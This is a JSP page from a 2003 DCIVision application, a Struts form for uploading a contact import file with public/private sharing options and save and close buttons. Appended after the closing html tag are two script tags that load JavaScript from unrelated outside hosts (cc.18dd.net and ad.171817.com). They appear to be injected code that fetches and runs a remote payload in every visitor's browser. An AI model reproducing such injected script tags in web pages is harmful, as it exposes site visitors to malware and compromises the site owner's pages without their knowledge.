<%
/*
 * @(#)EditDmsDocument.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditDmsDocument.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    06/08/2003
    @version          $Revision: 1.4.26.3 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="org.apache.struts.action.ActionError"%>
<%@ page import="org.apache.struts.action.ActionErrors"%>
<%@ page import="com.dcivision.framework.*" %>
<%@ page import="com.dcivision.framework.bean.* "%>
<%@ page import="com.dcivision.framework.web.* "%>

<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintContactPersonForm" scope="request" class="com.dcivision.contact.web.MaintContactPersonForm"/>
<html>
<head>
<title><%= SystemParameterFactory.getSystemParameter(SystemParameterConstant.PAGE_TITLE)%></title>
<meta http-equiv="Pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache">
<meta http-equiv="Expires" content="0">
<!-- Common Stylesheet Begin -->
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<script language="Javascript" src="<%= request.getContextPath() %>/js/TemplateScript.js" charset="UTF-8" type="text/javascript"></script>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
   String sCurFunctionCode =(String)request.getAttribute(GlobalConstant.FUNCTION_CODE_KEY);
%>
<html:form type="maintContactPersonForm" enctype="multipart/form-data" action="contact/MaintImportContact">
<html:javascript formName="maintContactPersonForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<body  onUnload="opCheckUnload();" bgcolor="#FFFFFF" text="#000000" leftmargin="0" topmargin="0" marginwidth="0" marginheight="0" link="#000000" vlink="#000000" alink="#000000" ><div id="overDiv" style="position:absolute; visibility:hidden; z-index:1000;"></div>
<script language="javascript">
<!--
var afterSave=false;
function OpCustSave(){
  if(document.maintContactPersonForm.uploadFile.value==""){
    alert("upload file is required!");
    return true;
  }
  document.maintContactPersonForm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT%>";
  document.maintContactPersonForm.submit();
  afterSave=true;
  return false;
}

function OpCustSaveAndNew(){
  if(document.maintContactPersonForm.uploadFile.value==""){
    alert("upload file is required!");
    return true;
  }
  document.maintContactPersonForm.opMode.value="<%=GlobalConstant.OP_MODE_INSERT_NEW%>";
  document.maintContactPersonForm.submit();
  afterSave=true;
  return false;
}

function opCheckUnload(){
 if(afterSave==true){
    window.opener.location.reload();
  }
  window.focus();
}
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<layout:titleFormat><font class="pageTitle"><layout:pageTitle functionCode="<%=sCurFunctionCode%>"/></font></layout:titleFormat>
<table cellpadding="20" cellspacing="0" border="0" width="100%"><tr><td>
<!-- System And Error Messages -->
<table cellpadding="0" cellspacing="0" border="0" width="100%"><tr><td>
<html:errors/>
<html:messages/>
</td></tr></table>
<table width="100%" cellpadding="0" cellspacing="2" border="0" align="left">
<layout:sectionHeader name='contact.label.import_contact'/>
<tr>
    <td class="mandatoryLabel" width='25%' valign='top'><bean:message key="dms.label.doc_file"/>:&nbsp;</td>
    <td class="dataField" width='75%'>
    <html:file property="uploadFile" size="25"/>
    </td>
</tr>
 <tr>
    <td class="<layout:classLabel mandatory='true'/>"><bean:message key='contact.label.share_type'/>:&nbsp;</td>
    <td class="dataField" width="75%">
      <%if("Y".equals(maintContactPersonForm.getPublicFlag()) && !(sessionContainer.getUserRecordID().toString().equals(maintContactPersonForm.getCreatorID())) && !GlobalConstant.NAV_MODE_NEW.equals(maintContactPersonForm.getNavMode())){%>
        <html:radio property="publicFlag" onclick="return true" value="Y" textOnly="true"><bean:message key="contact.label.public"/></html:radio>&nbsp;
      <%}else{%>
        <html:radio property="publicFlag" onclick="return true" value="Y"><bean:message key="contact.label.public"/></html:radio>&nbsp;
        <html:radio property="publicFlag" onclick="return true" value="N"><bean:message key="contact.label.private"/></html:radio>
      <%}%>
   </td>
  </tr>
<tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
</tr>
<tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(maintContactPersonForm.getNavMode())) {%>
      <html:standardButton label="common.label.save" onClick="return OpCustSave();"/>
      <%if (!GlobalConstant.NAV_MODE_CHANGE.equals(ACTION_MODE)) {%>
        <html:standardButton label="common.label.more" onClick="return OpCustSaveAndNew(maintContactPersonForm);"/>
      <%}%>
    <%}%>
    <html:standardButton label="common.label.close" onClick="javascript:window.close();"/>
    </td>
</tr>
</table>
</td></tr></table>
</body>
</html:form>
</html>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>